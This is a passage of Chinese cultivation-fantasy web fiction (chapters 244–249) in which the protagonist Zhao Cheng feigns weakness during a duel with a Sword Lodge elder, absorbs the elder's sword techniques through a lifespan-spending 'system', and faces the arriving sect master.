可刚一接触,他便是浑身一震,好似老牛扛了座山一般,浑身都颤动起来,脸色再次大变!
这真元竟厚重得像铸了千钧玄铁,精纯得不像是修炼出来的!
这戟意更是凶戾得能撕碎苍穹,比他毕生所见的任何剑意都要霸道!
而且,他分明能从戟招中察觉到“凝心破月”的影子,却觉得对方这一戟比剑庐正统的招式强了不止一筹,连半分破绽都寻不到!
有心想说赵诚是偷学,但与这一戟相比,自家的凝心破月倒像是盗版!
便也将这念头斩去了!
嗤啦!
戟芒如斩破纸糊,顺着剑气的缝隙层层钻入,不过眨眼间,便将“崩岳摧城”的剑气撕得粉碎,余势不减地继续逼向青竹剑瓮的咽喉。
转眼间竟危急至此!
冷汗瞬间浸透了青竹剑瓮的后背。
他不敢有半分迟疑,拼尽全力向后暴退,同时催动体内大半真气,施展出另一门防御剑招,“层峦叠嶂!”
既然质不能取胜,那就以量取胜!
他周身气势陡变,仿佛一座巍峨苍山拔地而起,厚重得令人窒息。
身前剑气更是层层叠叠,如岳峦堆叠、峰嶂连绵,密不透风,似要将所有攻击都拦在外面。
赵诚的“裂穹碎月”撞在剑气上,饶是瞬间穿透层层剑势,也架不住这防守剑气连绵无尽。
戟芒迅速减缓,速度一点点被削弱,眼看就要彻底停滞。
青竹剑瓮这才松了口气,胸腔里满是后怕。
方才那一瞬间,他竟以为自己要栽在这小辈手里。
若是在这场面之下,在徒儿和众同门目光之下,被这破山门辱祖师的小辈一招败了,那他这剑庐长老的一世英名可就毁了。
可就在这口气还没喘匀时,那快要停滞的戟芒忽然轻轻一颤……
第244章 爆元碎嶂击飞竹,龙吟破云撼剑丘
下一瞬间。
轰!
坍缩到极致的真元轰然爆开!
无数细碎的真元刃如暴雨般四下飞溅,每一道都带着割裂金石的锐劲,瞬间撕碎了身前的“层峦叠嶂”。
巨响中,剑气余波横扫四方,青竹剑瓮连哼都来不及哼一声,整个人像被狂风卷起的破布袋般倒飞出去。
周身衣袍被真元刃割出数十道狰狞伤口,鲜血顺着伤口飙射而出,溅在地上点点殷红。
他重重砸在山石上,又翻滚了几圈,才勉强撑着剑爬起,脸色惨白如纸,眼神里满是惊魂未定的惊疑。
怎会如此!?
这么精妙难以掌控的纯粹招法,怎么还有一重变招!?
这是什么人想出来的!?
就算能想出来,又如何练就的!?
简直天方夜谈!
凝心破月这一剑,剑龙子都是和他学得。
他最为了解,这等将全身的势、意、力凝于一点,再以极速爆发打出以点破面的招法是何其难以掌控。
更想不到,有人竟然能在同技法之下加入变招!
自是惊骇欲绝的看着天穹之上那道魁影。
这一场剑戟交锋,说起来慢,实则不过瞬息之间。
所有剑庐长老,包括剑龙子在内,都已经完全惊呆。
他们根本没有想过青竹剑瓮会吃亏。
方才见青竹剑瓮施展出“崩岳摧城”,都以为能够轻松碾压并反制。
谁能想到转眼竟会出现如此场景?
一时之间,竟是说不出话来!
“师兄!”
“师父!”
剑龙子目眦欲裂,挣扎着想要起身,却被伤势拖累,又跌回地上,只能嘶吼着。
“这怎么会……”
另一名长老脸色骇然,喃喃自语,“青竹师兄的‘层峦叠嶂’,竟挡不住他一戟?”
有人失声惊呼,声音里满是难以置信,“这小子不过是个世俗修士,年纪也不大,怎会有这般恐怖的实力!
又怎会有如此传承!?”
惊骇的呼喊声还未散去,剑庐众长老的目光已像淬了冰的寒剑,死死锁在赵诚身上。
眼底翻涌的除了震惧,更藏着化不开的羞愤。
他们剑庐可是传承千年的剑道圣地!
如今一众长老齐聚山门,不仅被人硬生生破开山门隐世阵法,连核心长老青竹都被一个世俗小辈压着打,甚至溅血倒飞!
这要是传到其他隐世宗门耳中,剑庐的脸怕是要被撕得粉碎,往后再无半分颜面可言!
场间死寂不过数息。
突然。
嗡!
嗡!
嗡!
一声声昂扬又凌厉的剑鸣骤然炸响!
长老们腰间佩剑、背后长剑竟不约而同地挣脱剑鞘,化作道道青虹盘旋在半空,剑尖齐齐指向赵诚。
剑气寒芒交织成一张无形的剑网,连周遭的空气都被剑气割得发颤。
可赵诚面对这满场剑威,面色依旧平静,嘴角反倒勾起一抹淡笑,眼神里不见半分惧色,反倒透着几分期待。
“我还当剑庐长老有多厉害,原来也不过是些不堪一击之辈。”
他扫过众长老紧绷的脸色,语气愈发轻描淡写,“看诸位这架势,是想一起上?
正好,方才青竹长老一人不够我打,你们联手出手,倒省得我挨个浪费功夫!
正合我意!”
这话倒也不是作假。
见过青竹剑瓮的剑招后,赵诚早已心明如镜。
这些剑道名家的招式里,剑意清晰,剑势浑厚,连招式脉络都像煌煌大日般醒目,根本无需刻意去寻。
反正此刻没时间推演,不如先将所有剑招都记在心里,回头再慢慢用寿命完善。
可这番话落在剑庐长老耳中,却比当面扇耳光还难堪。
他们脸色瞬间涨成酱紫,又憋得泛青,活像被人扼住了喉咙。
这小子竟说他们十三位长老要联手对付他一个小辈?
是太狂妄,还是打心底里瞧不起剑庐!
“小子张狂!”
一名长老气得额角青筋暴起,怒喝出声。
“今日便让你知道,何为天外有天,人外有人!”
但怒归怒,他们却没立刻动手。
毕竟被三言两语激得联手,传出去更丢人。
“师妹
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稍等,让我来会会他!”
“何须师兄出手?我来便可!”
“还是我上,免得他说我们以大欺小!”
众长老你一言我一语地争抢,每一声都像一把钝刀,在青竹剑瓮心口反复切割。
若是师兄弟们真的出手,岂不是明着告诉所有人,他青竹连个小辈都打不过,只能靠旁人帮忙?
这要是让这些师兄弟先行出手了,自己一招落败的事情,岂不是就定下了,以后还能抬得起头来!?
“都住手!”
青竹剑瓮猛地攥紧剑柄,不顾身上伤口还在飙血,踉跄着却又无比强硬地冲到最前头,嘶吼出声:“我还没败!”
争抢声瞬间停住。
长老们看着他浑身是血、衣袍染透的模样,眼底都浮起担忧,没人再开口。
女长老快步上前,伸手想扶他,声音里满是急切:“师兄,你伤势太重,先处理伤口再……”
“这算什么伤!”
青竹剑瓮猛地挥开她的手,怒喝间伤口又溅出一串血珠,“不过是方才一时大意,被这小子钻了空子!
且看我拿出真本事,今日定要轻松斩了他!”
一听青竹剑瓮要拿出真东西来,赵诚眸光一亮。
台阶下的长老们也识趣地向后退开,给两人腾出足够的空间。
再看青竹剑瓮,他深吸一口气,周身气息先是骤然一沉,像压了千斤巨石般凝实,紧接着又猛地拔升。
道道剑气在他周身盘旋嘶吼,越来越炽烈,竟如正午骄阳般刺得人睁不开眼,连周遭的空气都在震颤。
那剑鸣之声也渐渐变了调,从清脆转向雄浑,竟隐隐有龙吟震彻天地,连地面都跟着微微发颤。
他手中那柄青玉剑上的剑气更是疯狂涌动,渐渐凝成一道数十丈长的龙形虚影,鳞爪分明,龙须飘动,仿佛下一秒就要冲破云层!
“是九霄龙吟破云式!”
一名长老突然低呼出招式名,脸色骤变。
其他长老也齐齐攥紧了剑,眸光凝重。
他们都清楚,这是青竹压箱底的绝招,今日是真的动了杀心,再无半分保留!
第245章 龙吟破云撼金嶂,凝元扛剑悟剑章
轰!
大音希声,却如无形惊雷滚过苍穹。
青竹剑瓮的“九霄龙吟破云式”甫一出手,天地间便震荡起一股宏大到极致的威压。
那股力量似能撼山动地,却又听不到真切声响,只余心口被攥紧的窒息感,让在场众人都忍不住心神剧震。
剑龙子等剑庐小辈更是不堪,在这一剑的威势下,浑身发颤,连平日里熟记于心的剑招心法都被震得碎成空白。
连抬头直视的勇气都没有,只能死死盯着地面,嘴唇泛白。
这一剑,太烈!太霸!太恢弘!
剑势如怒海翻涌,直欲睥睨苍穹,裹挟着龙吟般的啸鸣,一往无前地撞向赵诚,连空气都被撕开道道肉眼可见的裂痕。
赵诚眸中金辉暴涨,丹田内的金丹运转到极致,其上代表“清明“”破幻”神通的星窍更是亮得像颗小太阳。
他死死锁定那道剑影,将剑招的韵律、真气流转的细节、剑意铺展的脉络,拼尽全力烙印在脑海里。
可越看,他眉头皱得越紧。
这剑中的剑意太过浩瀚,像一片望不到边的星海,仅凭目视,竟连冰山一角都摸不透。
“得接下这一击才行。”
赵诚指尖无意识摩挲着戟杆,心里暗忖,“只有亲自感受这剑的威势、力道的变化,才能真正抓出剑招的核心。”
只是……
能不能扛住,他也没十足把握。
此前对剑庐长老的轻蔑与张狂,本就是他刻意为之。
为的就是激他们使出压箱底的绝学,好让自己领悟更高深的剑道。
他心里其实很清楚,这些隐世修士的剑法,远比剑龙子那等剑招高明得多。
如今这“九霄龙吟破云式”的威势,更是超出了他的预料,让他也忍不住多了几分凝重。
当下不再犹豫,赵诚将金丹催至极限,万千金辉自周身溢出,与“金刚神通”交融,凝成一片厚重如山海的金刚真元,
像座金灿灿的巨山,将他整个人护在其中,悬浮在剑庐山门半空,散发着坚不可摧的气息。
见赵诚竟不躲不闪,只靠真元硬扛,剑庐长老们顿时炸开了锅,脸上纷纷露出讥讽的笑。
“这小子怕是被吓傻了!
见了师兄的绝学,连躲都忘了!”
一名长老捻着胡须冷笑,语气里满是不屑。
“哈哈哈!
想用真元挡‘九霄龙吟破云式’?
真是天真得可笑!”
另一位长老摇着头,眼神里尽是鄙夷。
“这小子算是完了!
这招只能避其锋芒,谁敢硬接?”
有人压低声音,却难掩幸灾乐祸,“这可是师兄苦修几十年的压箱底本事,整个剑庐也就他能将这招练到极致!”
“若真元能挡,那还配叫剑庐绝学?”
话音未落,半空的“金山”已与那道龙形剑气狠狠撞上!
轰隆!
天地骤然震颤,漫天剑气如狂涛般炸开,龙形虚影裹挟着碎山裂石的力道,狠狠砸在金刚真元上。
巨响震得山门石阶簌簌掉灰,连周遭的古松都被气浪掀得弯下了腰。
众长老下意识后退半步,脸色微变。
剑龙子更是被气浪掀得踉跄欲倒,若非身旁长老及时伸手扶住,怕是早被余波震得倒飞出去。
青竹剑瓮的嘴角亦是露出一抹笑意来。
在他看来,这一击足以撕碎任何真元防御,这嚣张小辈必死无疑。
与此同时,赵诚眼中也闪过一丝意外。
不是意外剑气的凶猛,而是意外自己金刚真元的坚固!
他原本以为,真元会被剑气层层撕碎,可事实却是,剑气的推进速度慢得惊人。
“九霄龙吟破云式”最猛的第一波攻势,也只撞碎了大半丈的金刚真元,后续的推进更是越来越缓,像陷入泥沼的巨兽,再难前进一步。
“这……怎么可能!?”
青竹剑瓮瞳孔骤然收缩,笑容彻底僵硬在了脸上,握着剑柄的手猛地一紧,声音都发颤,“他这是什么真元?
区区结丹境……”
区区结丹境,如何能够以真元抵御自己全力打出的绝学一击?
其他长老也彻底懵了,脸上的讥讽全都换成了满满的骇然。
这小子能够在如此境界,凝聚出如此之多的真元来
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抵御,已经出乎人的意料,说是一句天资纵横也不为过。
但这真元如此浑厚的同时,还能够如此精纯,甚至面对九霄龙吟破云式还能够达到如此坚不可摧的地步,已经不仅仅是精纯能够概括的了。
完全超乎常理!
要知道,赵诚连半分防御技法都没动用,仅凭真元本身的硬度就挡下了这一击!
若是他像青竹那样施展出“层峦叠嶂”般的防御招式,再以如此真元催动,那防御能力得恐怖到什么地步?
光是想想,长老们就忍不住心惊肉跳,看向赵诚的眼神里,再无半分小觑,只剩深深的忌惮。
他们甚至暗自庆幸,赵诚掌握的技法不多,不然青竹这一剑,怕是连人家的防御都破不了。
半空之中,龙形剑气仍在艰难地向前推进,一点点削减着金刚真元。
青竹剑瓮额角青筋暴起,脸色涨得通红,将全身真元拼命往剑中灌、。
他不甘心!
今日若不能斩了赵诚,他这剑庐长老的颜面,就彻底碎了!
赵诚却半点不急,甚至没有再往真元护罩里注入力量。
他悬浮在金光之中,近距离盯着那道剑影,眼神专注得像在研究一件稀世珍宝。
方才搞出三丈金刚真元,本就是以防万一,怕剑气太猛来不及反应。
如今摸清了这剑招的威能,他心里早有底。
别说三丈,就算再铺出十丈、二十丈,对他金丹里蕴藏的磅礴真元来说,也不过是九牛一毛。
就算等剑气突破到只剩三尺距离,他再补真元也完全来得及。
当下,他一门心思揣摩剑招真意,连青竹剑瓮的急怒都懒得理会。
场间瞬间静了下来,只剩剑气的嘶鸣和真元碰撞的闷响。
长老们屏住呼吸,紧紧盯着半空的对峙,心都提到了嗓子眼。
青竹剑瓮的老脸渐渐没了血色,额角的冷汗顺着脸颊滑落,连脊背都微微发颤,可握着剑的手却越攥越紧。
“再坚持一下……”
他在心里疯狂嘶吼,“已经突破两丈半了!再往前一点,就能斩了他!还我一世英名来!”
第246章 庐火锻心封鞘锐,百年剑意撼金光
青竹剑瓮拼尽全力输入真元,周身真气如沸腾的开水般沸腾狂涌,尽数灌入那道龙形剑气之中。
使得那恢弘剑招持续不断地向着金刚真元之中突入。
但这对于赵诚来说,不但没有威胁,反而更像是拼尽全力在展示这一招之中的种种细节。
在如此全力催动之下,在剑招与金刚真元的激烈对抗之中,那剑招之中的韵律、脉络愈发清晰。
让赵诚领悟起来,事半功倍。
为了让青竹更“卖力”些,他甚至悄悄撤去了近半金刚真元,营造出“**之末”的假象。
只见那道裹着青龙虚影的剑气骤然威势大涨,如破竹般撕开层层金光,直逼赵诚心口要害!
“破了!”剑庐长老们顿时眼前一亮,脸上的凝重化作狂喜,“这小子撑不住了!今日必折在剑庐山门!”
“狂傲也要有个限度!他真当我剑庐绝学是摆设?”一名长老捋着胡须,语气里满是扬眉吐气的畅快。
“凡间野修罢了,怎懂我剑庐千年传承的精妙?”另一位长老冷哼,眼神里尽是鄙夷。
一旁的剑龙子更是激动不已,“师尊!师尊杀了他!为我报仇了!”
天知道这一路逃回来,被这血屠妖魔弄出了多少心理阴影?
如今看到自家师尊势如破竹的即将斩去这魔头,剑龙子整个人都舒畅了,压在心头的心魔和恐惧也一瞬间消失,有一种轻舟已过万重山之感。
青竹剑瓮听着耳边和周围的声音,不由得也是露出了轻松的笑意来。
看来这小子还是太年轻了,真元虽强,却后力不足,竟然被自己一下子突破了这么多的真元。
这他还如何能够抵挡自己的九霄龙吟破云式?
却见这一剑长驱直入,然而却在即将突破赵诚那金刚真元的时候,骤然停滞下来。
明明只剩下薄薄的一层金刚真元,但是这九霄龙吟破云式却怎么也无法再前行一点。
众人脸色齐齐一变,“这是怎么回事!?”
“难道师兄的真元也已经消耗尽了?”
“怎么可以在这里停下,师兄,坚持住啊!”
“就差这临门一脚了,师兄万万不能泄气!”
剑龙子瞪着一双眼睛,恨不得自己现在就冲上去,帮青竹剑瓮把这最后一口气顶上去,将那魔头斩于剑下,“师尊!!顶住啊!”
青竹剑瓮的牙关已咬得咯咯作响,老脸涨成了绛紫色,额角的青筋如蚯蚓般凸起,冷汗顺着皱纹往下淌,连鬓角的白发都被浸湿,贴在脸颊上。
他的身躯剧烈颤动,每一次真元穿过经脉都带着灼痛感。
他何尝不想一鼓作气斩了赵诚?
可这最后一层金光,却像无底深渊,吸走了他仅剩的所有真气,任凭他如何发力,剑气都纹丝不动。
只觉四肢百骸都像被灌了铅,沉重得抬不起来。
“该死,无论如何,都要斩了他!”
一股意气从青竹剑瓮的心中迸发,在这剑庐之中养剑千年的锋芒,一朝尽数展露!
嗡!
青玉剑突然发出震耳欲聋的嗡鸣,一道远超此前的锋锐剑意骤然冲天而起,周遭的空气都被这股剑意切割得“嗤嗤”作响,连天地都似被染成了青白色。
众长老尽数骇然,“这是师兄蓄锐百年,集合毕生参悟的剑法剑意,养出的势,竟然要在今天爆发吗?“
“怎可如此!”
“这是‘庐火锻心封鞘式’啊!
本是他为突破瓶颈准备的底牌!”
一名年长的长老叹了口气,语气里满是可惜,“今日若斩不了这小子,他百年养出的锐意就会折损,怕是要生心魔,再难寸进了。”
“也只能如此了。”另一位长老凝声道,“若能借此心念通达,或许反而能突破瓶颈,未必是坏事!”
“看!剑意又突破了!”
众人抬眼望去,那道璀璨的剑意果然再次向前突进,距离赵诚的咽喉只剩半尺,两者之间的金光薄得几乎透明。
所有人都屏住了呼吸,连大气都不敢喘,目光死死盯着那道剑影,心脏都快跳到了嗓子眼。
可就在剑意即将刺破金光的瞬间。
唰!
那层薄如蝉翼的金光突然暴涨,光芒璀璨得让人睁不开眼,竟比之前更坚韧了几分,硬生生将百年剑意拦在了外头!
“这怎么可能!?”
青竹剑瓮的瞳孔骤然收缩,老脸瞬间没了血色,满是难以置信的茫然,“这是我养了百年的剑意……
他怎么还能挡住?”
他想不通。
赵诚不过是个小辈,修行时日能有多久?
就算天资再高,放出这么多精纯真元后,也该是**之末才对,怎会还有余力加固防御?
这根本不合常理!
“怎会如此!”剑庐长老们
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彻底炸开了锅,哗然之声此起彼伏,“他还有余力?”
“这个年纪,怎么可能修炼出这么浑厚的真元?”
“莫不是哪座山林里修炼了数千年的妖孽在此作乱?”
他们皆是剑庐顶尖修士,靠着千年传承和上百年苦修,才有如今修为。
可即便如此,也不敢说仅凭真元硬抗“九霄龙吟破云式”,更别提青竹那百年剑意。
赵诚的表现,早已超出了他们对炼气士的认知,只剩深深的震撼。
赵诚心里却乐开了花。
青竹剑瓮还真是“实在”,自己不过示弱了一下,他连压箱底的百年剑意都亮了出来。
这剑意里藏着剑庐传承的核心真意,从“云海吞锋”到“凝心破月”,所有剑招的精髓都在其中。
只要参悟透这真意,往后再看其他剑庐招式,不仅领悟更快,推演时消耗的寿命也能省不少。
当下,他立刻继续“演戏”。
周身的金光开始剧烈闪烁,像风中残烛般摇摇欲坠,仿佛下一秒就会破灭。
他的脸色也泛起一抹苍白,眉头紧蹙,眼神里透着几分不甘,连身形都轻轻晃动,活脱脱一副“油尽灯枯”的模样。
“还好还好,他也撑不住了。”长老们见状,齐齐松了口气,悬着的心又放了回去。
青竹剑瓮更是眸光大亮,像是抓住了最后一根救命稻草,拼尽全力催动心口剑意,甚至悄悄摸出几颗通体莹润的宝丹,飞快塞进嘴里。
那是他压箱底的补元丹,不到生死关头绝不会动用,此刻却顾不上心疼了。
一人拼命突进,一人“勉力支撑”,战局看似随时都会结束,却偏偏卡在了最关键的节点。
青竹剑瓮的脸色越来越灰败,眼底的光芒一点点黯淡,真气早已耗空,全靠意志力和丹药硬撑,整个人都快虚脱了。
可长老们看着赵诚“摇摇欲坠”的金光、“苍白如纸”的脸色,又觉得胜利就在眼前,始终没人上前插手,只是满怀期待地盯着半空。
如此僵局……
直至赵诚的脑海之中得到了系统传来的提示。
【你观看他人剑招有所领悟,可以投入寿命推演剑法九霄龙吟破云式】
【你观看他人剑招有所领悟,可以投入寿命推演剑法庐火锻心封鞘式】
【你观看他人剑意有所领悟,可以投入寿命推演剑庐传承真意。】
第247章 演颓悟真凝万岳,耗丹撑剑遇清明
赵诚眼睛一亮,不枉他又是消耗真元扛揍,又是演戏示敌以弱,终于将这剑招和真意领悟到了。
“当务之急还是先推演剑庐传承真意,这样接下来领悟其他长老的绝学,便更事半功倍了!”
赵诚垂着眼,表面上仍是一副“苦苦支撑”的模样。
周身那层薄金光泽颤得愈发厉害,连肩头都似被剑气震得微沉,脸色白得像浸了雪,仿佛下一秒就要栽倒。
可没人知道,他丹田内的金丹正平稳运转,只是随意泄出一丝真元,便将青竹剑瓮的攻势稳稳拦在半寸之外。
下方的青竹剑瓮早已没了先前的意气风发。
他压箱底的补元丹已空了大半,指尖捏着最后一只玉瓶,,抖着手倒出两粒丹丸塞进嘴里。
丹药入口即化,却只勉强将泄空的气息提了半分。
他望着赵诚“摇摇欲坠”的金光,眼底满是血丝,仍在咬牙硬撑。
他绝不能让师兄弟们出手,否则他青竹修炼百年,连积蓄百年剑意都爆发出来,却连一个张狂小辈都不敌的**名声,这辈子都洗不掉。
众长老也都提着一口气,有人攥紧了袖口,有人下意识往前挪了半步,却又硬生生停住。
虽然青竹的剑气没再寸进,但赵诚的金光也颤颤巍巍,谁都觉得“再等等,胜负就分了”。
直到有人忽然低呼:“他闭眼了!这小子是要认命了?”
众人定睛看去,果然见赵诚双目轻阖,唇边甚至勾起一抹极淡的“苦笑”,像已放弃抵抗。
可只有赵诚自己知道,他的心神早已沉入系统推演的世界。
【第一年,你观悟剑庐传承真意,过往记下的“云海吞锋”“凝心破月”“九霄龙吟破云式”等剑招脉络如潮水般涌来,与真意碎片相互咬合,开始反推剑庐传承的核心逻辑……】
【第一百五十三年,你终于触到剑庐真意的一角,那是一种“以剑养势、以势藏锋”的剑道本源,你借着这缕真意,将零散的剑招感悟串联成线,真意轮廓渐渐清晰……】
【第三百七十一年,你将领悟的真意碎片逐一补全,已摸透剑庐传承七成真意,再回想青竹剑瓮的剑招,只觉此前看不懂的剑意转折、真气暗劲,如今都如掌上观纹……】
【第四百一十九年,剑庐传承真意彻底在你脑海中成型,从基础剑理到高阶剑意,再无半分晦涩,你对剑庐所有绝学的感悟,瞬间深了数层……】
【第四百四十三年,你捕捉到真意的精髓,“剑藏于庐,锋隐于常”,此刻你对真意的理解,已远超仍在靠丹药硬撑的青竹剑瓮,他毕生参悟的剑意,在你眼中不过是真意的皮**……】
【第四百九十九年,你对剑庐传承剑意的理解登峰造极,连剑庐传承中隐晦的“剑意化形”“真气叠劲”等秘辛,都能举一反三,你敢断言,自己对剑庐传承的理解,已超越场间所有长老……】
【第五百七十五年,又经百年推演,你对剑庐真意的掌控已出神入化。剑庐千年来的剑道积淀,在你这里被拆解、重组,再无半分滞涩。
此时你借真意改良戟法,每一招都透着剑庐剑意的精妙,随手一击的精妙程度,便堪比青竹剑瓮拼尽全力的一剑……】
【第五百七十六年,你将心神转向此前领悟的“层峦叠嶂”,因对真意理解极深,刚触及剑招核心,便看穿了其“层层叠压、以守为固”的本质,且发现这剑招的防御逻辑,竟与自己的金刚真元有着微妙的契合,推演过程势如破竹……】
【第六百一十三年,你将“层峦叠嶂”完全领悟,不仅练至大圆满境界,更能看透剑招的每一处破绽与可改良之处……】
【第六百一十七年,你以“层峦叠嶂”为根基,结合自身金刚真元的厚重特性与戟法的刚猛特质,推陈出新,创出一门专属自己的防御戟法——“万岳归墟戟”!
此戟法取“万岳叠压、归于墟境而不破”之意,比“层峦叠嶂”更重厚重与连绵。
施展时,真元会化作层层叠叠的山岳虚影,每一层都如千钧巨石般稳固,且能借对
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方攻势的冲击力反哺防御,让防御层越撞越坚,哪怕是“九霄龙吟破云式”这等绝学,也难破开分毫……】
“这些应该够用了,不过还是将其他剑招都先领悟入门,之后也好推演完善来用。”
于是赵诚积蓄推演。
【第六百二十三年,你观悟九霄龙吟破云式有所得,九霄龙吟破云式达到了入门之境。】
【第六百二十五年,你观悟碧落逐星有所得,碧落逐星达到了入门之境。】
【第六百二十八年,你观悟炉火锻心封鞘式有所得,炉火锻心封鞘式达到了入门之境。】
【宿主:赵诚】
【当前寿命:7859年(可投入寿命推演、修**法、凝练丹药、铸造兵刃、凝练墟境……)】
【当前**:周天星斗纳真诀(金丹初期)】
【当前秘法:阴阳占星术(大成)、摄魂咒印、御风神行(大圆满)、横断云天(大圆满)、瀚海怒潮(大圆满)、倒卷青龙撞烈阳(大圆满)、裂穹碎月(大圆满)、万岳归墟(大圆满)、九霄龙吟破云式(入门)、碧落逐星(入门)、炉火锻心封鞘式(入门)……】
剑庐走这一趟,收获当真不小。
下一刻,赵诚睁开眼来。
先前还泛着病态苍白的脸颊,此刻竟如被晨露浸润的草木般,瞬间褪去颓色,取而代之的是沛然充盈的神采。
那双眸子里再无半分“力竭”的茫然,只剩一片深邃的清明,连眼底流转的金辉,都比此前更盛了几分。
更令人心惊的是,他体表那层如风中残烛般摇摇欲坠的薄金光泽,竟在睁眼的刹那骤然稳定下来!
原本微微颤动的光纹瞬间凝实,像被浇铸了一层鎏金般的辉光,稳稳裹住他的身躯。
连青竹剑瓮那道还在挣扎的百年剑意,都被彻底钉死在半寸之外,再也无法前挪分毫。
赵诚的目光缓缓扫过下方,最后落在青竹剑瓮身上。
就在他视线落下的瞬间,一道极淡却无比精深的剑意,从他眼底悄然流露。
第248章 剑庐怒涌群剑潮,万象黯然掌门归
赵诚低眸扫了一眼下方的青竹剑翁和众剑庐长老,眼眸之中闪过一道深不可测的剑意。
那剑意不显锋芒,却如深海藏锋,透着一种“尽知剑庐本源”的从容与厚重。
仅仅是被这道剑意扫过,场间几位长老便下意识攥紧了剑柄,浑身寒毛直竖。
竟生出一种在他面前,自己的剑道粗浅异常的错觉。
“嘶……这怎么回事?”
一名长老率先倒抽一口凉气,声音都发颤,“这小子怎么突然一扫颓态?刚才不是还快撑不住了吗?”
“难不成……师兄没破开他的防御,反倒是他借着对抗,突破了?”
另一位长老眉头拧成疙瘩,越想越觉得心惊。
这小子如此年轻都已经能够对抗师兄百年剑意,若是再进一步……
“你们刚才可看到他眼中的剑意?”
最年长的那位长老突然惊疑不定低喝,眼神里满是难以置信,“我怎么觉得,他刚才流露的那道剑意,比青竹蓄了百年的剑意还要精深?“
”这绝不可能!”
“是错觉吧?”
有人下意识反驳,却又底气不足地后退半步,“他才修行了多少年,怎么可能领悟比青竹师兄还深的剑道,何况,他提着把大戟,也不像是学剑的……”
“可我刚才也觉得,那剑意压得我喘不过气。”
“不对劲,太不对劲了!”
“他明明只是一名山下的野修,为何身上有如此多的奇异之处,背后怕是另有深厚传承!”
众人你一言我一语,脸上的期待早已换成浓浓的不安,心底那股“不祥预感”越来越强烈。
赵诚的变化,实在超出了所有人的认知。
而下方的青竹剑瓮,此刻早已是强弩之末。
他的手指死死捏着剑诀,嘴唇干裂得泛白,连催动剑气的手臂都在不受控制地发抖。
补元丹的药效早已过去,全靠一口“不能输”的气硬撑。
可当他抬眼,看到赵诚神采奕奕的模样,看到那层本该破碎的金光骤然凝实时,整个人如遭五雷轰顶!
“怎……怎会如此……”
他嘴里喃喃着,眼中最后一点光亮瞬间熄灭。
期待了这么久,耗尽了所有真元,甚至赌上了百年剑意,到最后却发现,对方根本没尽全力,之前的“颓态”全是装的!
那根紧绷了许久的“弦”,在这一刻轰然绷断!
“噗——”
一口暗红色的鲜血猛地从青竹剑瓮口中喷出,溅在身前的石阶上,开出一朵刺目的血花。
他浑身剧烈一颤,再也撑不住,手中的青玉剑“当啷”一声脱手落地,整个人像断了线的木偶般向前扑倒,额头重重磕在石阶上,发出沉闷的声响。
“师兄!”
“师尊!”
惊呼声瞬间炸响!
长老们再也顾不上惊疑,纷纷身形一闪,抢步上前。
剑龙子更是连滚带爬地冲过去,颤抖着扶起青竹剑瓮的肩膀,却见他脸色惨白如纸,气息微弱得几乎探不到,嘴角还在不断溢出细碎的血沫。
显然是心神受创,又受到剑意反噬,伤得极重。
有长老痛心疾首,气的跺脚,“哎呀!师兄封鞘蓄锐百年的剑意,不出则已,出则一往无前,必要斩破眼前一切困顿才行!”
“如今这一剑出,却折在这小辈身上。
没有建功不说,还不得寸进,师兄这百年积蓄的剑意,算是毁了,他遭此反噬,修为怕是要倒退几十年啊!”
“该死的张狂小辈!你误我师兄!今日必不让你囫囵走出剑庐!”
“欺我弟子,破我山门,辱我师兄,你真当剑庐无人能制你!?“
众多长老此时已经是怒极了,好几位须发皆白的老家伙都是浑身剑气激荡,发丝飘飞如刃,割裂了清风!
青竹剑瓮已经倒下昏厥,他们再也不需要顾忌青竹剑瓮的尊严,一时之间齐齐出手,剑鸣无尽,直抵赵诚。
赵诚眉头微微一皱,怎么要一起出手了?
他虽然说已经将剑庐真意推演到了出神入化之境,但也无法在如此乱象之中,将众人的绝学瞬息领悟。
从他人施展出来的剑道之中领悟其中脉络剑韵本身就是极为不可思议之事,这就像是有些人看了一眼蒸汽机如何运转,就直接会建造蒸汽机一样。
从表象反推本质,十分艰难。
赵诚也是因为有破幻与清明两种神通加持,又有系统这种能够投入寿命推演的逆天之物才能够通过表象反推领悟他人剑招。
如今对方一起出手,纠缠到一起,看都看不清楚,如何领悟?
一念及此。
他却也不慌不忙,任由那些剑招朝着自己涌来,反而撤去了身体周围的金刚真元,就好像任由这些长老要杀掉自己一样。
嘴上则是狂笑道,“这便是剑庐?真是有出息!”
众人见状,剑招纷纷一顿,怒目而视。
赵诚奚落道,“哈!一个长老全力出手打不过我,便要趁我真元枯竭群起而攻,剑庐还真是好样的!”
“一点格局都没有,还好意思说自己是千年传承!?”
众长老怒极,但手下剑招却纷纷为之缓慢下来,显得犹豫不决。
剑道本是一往无前,众人这一犹豫,自然是威能大减,剑招也是变得不伦不类。
当此之时,剑龙子突然怒喝出声,”贼子狡猾,众位师叔不要着了他的道,趁他病要他命!“
当此之时,诸位长老有人面露踌躇,有人不屑,也有人目光一厉。
就在剑招即将再次动时,冥冥之中,却有一声轻幽幽的叹息飘来,似带着无尽萧索,又藏着几分无奈。
“唉!”
这声叹息刚落,异变陡生。
半空之中,那十余道剑虹竟骤然黯淡七分,一种寂灭黯然之意涌现在这天地之间,连周遭的风都似停了,只剩下剑刃“嗡嗡”的哀鸣。
下一秒,所有剑招竟如遇寒流般,齐齐向后缩去。
众长老皆是一愣,随即脸色骤变:“这剑意……是掌门的‘万象归寂剑’?”
“掌门师兄回来了?”
“是……是掌门师兄!”
众人循声望去,只见场边的石阶尽头,不知何时多了一道身影。
那是位身着素色青袍的中年人,眉宇间带着几分书卷气,大袖飘飘如流云,面容清秀,却透着一股与世无争的淡然。
只是他眼底藏着一抹化不开的萧疏,倒像个沉浸在秋意里伤春悲秋的落第书生,而非执掌千年剑庐的掌门。
他就那样静静站在那里,未动半分,却让全场激荡的剑气都敛了去,只剩下一片沉寂。
第249章 训龙认罪执逆辜,掌门讨账蕴秋杀
“既是上门讨教,我剑庐岂能行以多欺少之事?”
谢清眠立于石阶之上,素色青袍被山风拂得微扬,落拓的身影透着一股与世无争的淡然。
他抬眼望向半空的赵诚,萧疏的目光在对方身上稍作停留,眸底却掠过一丝不易察觉的困惑。
明明从方才的交手看,这人只是金丹境界,即便真元比青竹师兄精纯厚重,也该在他的探查范围内才对。
可此刻他以神识试探,却像撞进了一片深不见底的迷雾,对方的修为、真元脉络、甚至传承根基,竟半分都看不透。
这边谢清眠暗自沉吟,那边赵诚体内的金丹正悄然运转。
金丹表面,代表“敛藏”的星窍熠熠生辉,如一层无形的屏障,将谢清眠带着穿透力的目光牢牢阻隔在外。
